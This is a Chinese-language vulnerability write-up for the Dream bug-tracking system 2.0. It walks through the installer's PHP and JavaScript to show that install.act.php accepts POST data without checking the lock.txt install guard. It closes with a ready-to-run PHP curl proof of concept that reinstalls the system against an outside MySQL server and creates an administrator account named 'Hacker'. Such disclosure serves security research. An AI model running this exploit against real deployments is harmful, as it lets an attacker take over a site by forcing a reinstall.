在./install/install.php中
1 if(file_exists('lock.txt')){ 2 echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。'; 3 exit(); 4 }
通过检测lock.txt文件是否存在来判断系统是否已经安装了,
但是看到代码的最后,发现是这个样子的
1 <div class="act"><input onclick="onClose()" class="but" name="no" type="button" value="不同意" /> <input onclick="onNext()" class="but" name="yes" type="button" value="同意" />
点击按钮是通过前台js来控制提交的数据的,如果同意安装协议的话,就调用onNext()函数,看看这个函数的定义
1 function onNext(){ 2 window.location = "check.php"; 3 }
直接导向至check.php文件了,来看看这个文件是怎么写的
1 <?php 2 /* 3 * @varsion Dream缺陷跟踪系统 2.0var 4 * @package 程序设计深圳市九五时代科技有限公司设计开发 5 * @copyright Copyright (c) 2010 - 2015, 95era, Inc. 6 * @link http://www.d-winner.com 7 */ 8 9 require_once (dirname(__FILE__) . "/inc/config.inc.php"); 10 $gd = gd_info(); 11 $curl = function_exists('curl_init'); 12 ?> 13 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 14 <html xmlns="http://www.w3.org/1999/xhtml"> 15 <head> 16 <meta http-equiv="x-ua-compatible" content="ie=7" /> 17 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 18 <title>Dream缺陷跟踪系统 - 安装向导</title> 19 ...
并没有判断入口是否合法,所以可以直接在浏览器中访问之
然后"下一步"又是个onNext()函数来处理的,继续看
1 function onNext(){ 2 var data = document.getElementsByName("data"); 3 var num = 0; 4 for(i=0;i<data.length;i++){ 5 if(data[i].value==1){ 6 num += Number(data[i].value); 7 } 8 } 9 if(num==data.length){ 10 window.location = "mysql.php"; 11 } 12 num = 0; 13 }
最重要的是window.location="mysql.php";这条代码,也就是说下一步的数据提交给Mysql.php处理,继续看Mysql.php的代码
1 <?php 2 /* 3 * @varsion Dream缺陷跟踪系统 2.0var 4 * @package 程序设计深圳市九五时代科技有限公司设计开发 5 * @copyright Copyright (c) 2010 - 2015, 95era, Inc. 6 * @link http://www.d-winner.com 7 */ 8 9 if(file_exists('lock.txt')){ 10 echo '系统已安装,请不要重复安装!如需安装,请删除install文件夹下的lock.txt文件。'; 11 exit(); 12 } 13 require_once (dirname(__FILE__) . "/inc/config.inc.php"); 14 ?> 15 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 16 <html xmlns="http://www.w3.org/1999/xhtml"> 17 <head> 18 <meta http-equiv="x-ua-compatible" content="ie=7" /> 19 <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 20 <title>Dream缺陷跟踪系统 - 安装向导</title> 21 <script language="javascript"> 22 <!-- 23 function onLast(){ 24 history.back(); 25 } 26 27 function onClick(){ 28 h = list.host.value; 29 n = list.name.value; 30 u = list.user.value; 31 wn = list.webname.value; 32 hn = list.hostname.value; 33 e = list.mail.value; 34 au = list.adminuser.value; 35 ap = list.adminpwd.value; 36 ap2 = list.adminpwd2.value; 37 if(h=="" || n=="" || u=="" || wn=="" || hn=="" || e=="" || au=="" || ap=="" || ap2==""){ 38 alert("选项不能为空"); 39 return false; 40 }else{ 41 if(ap!=ap2){ 42 alert("两次输入的密码不相同"); 43 return false; 44 } 45 if(!e.match(/@/)){ 46 alert("邮箱格式不正确"); 47 return false; 48 } 49 50 return true; 51 } 52 } 53 --> 54 </script> 55 <link href="img/style.css" rel="stylesheet" type="text/css" /> 56 </head> 57 <body> 58 <form action="inc/install.act.php" method="post" name="list"> 59 <div align="center"> 60 <div class="main"> 61 <div class="top"> 62 <img src="img/logo_about.png" height="45" /> 63 <span>Dream缺陷跟踪系统</span></div> 64 65 <div class="content"> 66 <table width="100%" border="0" cellspacing="0"> 67 68 <tr> 69 <td height="26" colspan="3" class="top_txt">数据库信息</td> 70 </tr> 71 <tr> 72 <td width="21%" height="22">数据库服务器:</td> 73 <td width="34%"> <input name="host" type="text" class="txt_wd" value="127.0.0.1" /></td> 74 <td width="45%"> 数据库服务器地址, 一般为 localhost</td> 75 </tr> 76 <tr> 77 <td width="21%" height="22">数据库名:</td> 78 <td width="34%"> <input name="name" type="text" class="txt_wd" value="" /></td> 79 <td> </td> 80 </tr> 81 <tr> 82 <td width="21%" height="22">数据库用户名:</td> 83 <td width="34%"> <input name="user" type="text" class="txt_wd" value="" /></td> 84 <td> </td> 85 </tr> 86 <tr> 87 <td width="21%" height="22">数据库密码:</td> 88 <td width="34%"> <input name="pwd" type="password" class="txt_wd" value="" /></td> 89 <td> </td> 90 </tr> 91 <tr> 92 <td width="21%" height="22">数据表前缀:</td> 93 <td width="34%"> <input name="prefix" type="text" class="txt_wd" value="dwin_" /></td> 94 <td> 同一数据库运行多个系统时,请注意修改前缀</td> 95 </tr> 96 <tr> 97 <td height="26" colspan="3" class="top_txt">程序及用户信息</td> 98 </tr> 99 <tr> 100 <td width="21%" height="22">项目名称:</td> 101 <td> <input name="webname" type="text" class="txt_wd" value="我的项目" /></td> 102 <td> </td> 103 </tr> 104 <tr> 105 <td width="21%" height="22">项目域名:</td> 106 <td> <input name="hostname" type="text" class="txt_wd" value="<?php echo URL ?>" /></td> 107 <td> </td> 108 </tr> 109 <tr> 110 <td width="21%" height="22">管理员邮箱:</td> 111 <td> <input name="mail" type="text" class="txt_wd" value="" /></td> 112 <td> 请务必填写正确</td> 113 </tr> 114 <tr> 115 <td width="21%" height="22">管理员账号:</td> 116 <td> <input name="adminuser" type="text" class="txt_wd" value="admin" /></td> 117 <td> </td> 118 </tr> 119 <tr> 120 <td width="21%" height="22">管理员密码:</td> 121 <td> <input name="adminpwd" type="password" class="txt_wd" value="" /></td> 122 <td> </td> 123 </tr> 124 <tr> 125 <td width="21%" height="22">再输入一次密码:</td> 126 <td> <input name="adminpwd2" type="password" class="txt_wd" value="" /></td> 127 <td> 请牢记您的账号与密码</td> 128 </tr> 129 130 </table> 131 </div> 132 <div class="act"><input onclick="onLast()" class="but" name="yes" type="button" value="上一步" /> <input onclick="return onClick()" class="but" name="put" type="submit" value="下一步" /> 133 134 <div><img src="img/step3.png" width="700" height="10" /></div> 135 </div> 136 <div class="foot">Copyright 2010-2015 <a href="http://www.95era.com/" target="_blank">九五时代</a> Inc. All Rights Reserved</div> 137 </div> 138 </div></form> 139 </body> 140 </html>
判断入口是否合法了,但是这个判断,然并卵,因为这个文件并不是最终处理数据的文件,数据最终提交到./install/inc/install.act.php文件中处理,而这个install.act.php文件是这样子的:
1 <?php 2 /* 3 * @varsion Dream缺陷跟踪系统 2.0var 4 * @package 程序设计深圳市九五时代科技有限公司设计开发 5 * @copyright Copyright (c) 2010 - 2015, 95era, Inc. 6 * @link http://www.d-winner.com 7 */ 8 9 session_start(); 10 require_once (dirname(__FILE__) . "/config.inc.php"); 11 include(PJINC.'/core/filesys.lib.php'); 12 13 $nf_d = new filesys; 14 if(isset($_POST['put'])){ 15 if($_POST['put']!=''){ 16 $show = ''; 17 $host = trim($_POST['host']); 18 $name = trim($_POST['name']); 19 $user = trim($_POST['user']); 20 $pwd = trim($_POST['pwd']); 21 $prefix = trim($_POST['prefix']); 22 $data = array(); 23 $data['webname'] = trim($_POST['webname']); 24 $data['hostname'] = trim($_POST['hostname']); 25 $data['mail'] = trim($_POST['mail']); 26 $data['adminuser'] = trim($_POST['adminuser']); 27 $data['adminpwd'] = trim($_POST['adminpwd']); 28 $conn = mysql_connect($host,$user,$pwd); 29 ...
没有判断入口是否合法,直接接受POST过来的数据然后开始SQL操作,所以可以直接构造POST数据包提交过去,重新安装程序,当然,你需要先找一个可以外联的mysql服务器。
POC:
1 <?php 2 $url="http://127.0.0.1/dream/install/inc/install.act.php"; 3 $data="host=192.168.0.100&name=HackDream&user=root&pwd=root&prefix=hack_&webname=myHackTest&hostname=http://192.168.0.100/dream&mail=test@mail.com&adminuser=Hacker&adminpwd=Hacker&adminpwd2=Hacker&put=1"; 4 $ch=curl_init(); 5 curl_setopt($ch,CURLOPT_URL,$url); 6 curl_setopt($ch,CURLOPT_POST,1); 7 curl_setopt($ch,CURLOPT_HEADER,0); 8 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1); 9 curl_setopt($ch,CURLOPT_POSTFIELDS,$data); 10 $result=curl_exec($ch); 11 curl_close($ch); 12 print_r($result); 13 ?>
可以看到新的数据库hackedream已经成功建立鸟~~~